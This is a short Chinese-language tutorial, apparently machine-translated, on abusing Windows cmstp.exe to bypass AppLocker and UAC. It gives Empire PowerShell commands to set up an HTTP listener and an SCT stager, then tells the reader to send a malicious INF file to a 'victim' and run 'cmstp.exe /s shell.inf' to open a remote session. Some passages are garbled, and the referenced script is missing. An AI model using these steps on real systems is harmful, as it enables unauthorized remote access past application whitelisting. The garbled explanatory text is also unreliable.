使用cmstp绕过应用程序白名单
默认情况下,Applocker允许在文件夹中执行二进制文件,这是可以绕过二进制文件的主要原因。已经发现,这样的二进制文件可以轻松地用于绕过Applocker和UAC。与Microsoft相关的此类二进制文件之一是CMSTP。CMSTP欢迎使用INF文件,因此可以通过INF进行利用。因此,我们将学习如何进行这种利用。
诸如cmstp.exe之类的非框架过程从您在系统上引入的编程开始。由于大多数应用程序将信息存储在硬盘驱动器和系统的注册表中。它上面写有机器代码。如果您在系统上启动产品Microsoft(R)Connection Manager,则cmstp.exe中包含的说明将在您的系统上运行。因此,记录被堆叠到主内存(RAM)中,并作为Microsoft Connection Manager配置文件安装程序进程(在其他情况下称为差事)继续运行。众所周知,CMSTP会接受SCT文件并随后运行,而无需怀疑,因此,我们将创建一个恶意SCT文件以实现我们的目标。我们将为此使用Empire PowerShell。有关Empire PowerShell的详细指南,请单击此处。
从Kali终端启动empire框架,然后键入以下命令来创建您的恶意软件:
listeners
uselistener http
set Host 192.168.1.109
execute
上面的命令将为您创建一个侦听器,然后键入back以从侦听器界面返回,就像创建SCT文件类型一样:
usestager windows/launcher_sct
set Listener HTTP
execute
运行上述漏洞利用将创建您的SCT文件。我们将使用以下脚本在PowerShell中执行文件。在此脚本中,提供SCT文件的路径,并添加以下行,如图所示。
从此处下载此脚本:
现在,将文件发送到受害者的PC并在受害者的命令提示符下运行以下命令:
cmstp.exe /s shell.inf
运行命令后,您将立即进行会话。使用以下命令访问您的会话:
interact <session name>
这样,您可以使用CMSTP二进制文件绕过applocker限制。CMSTP需要一个INF文件,并且可以利用您的优点来访问受害者的PC。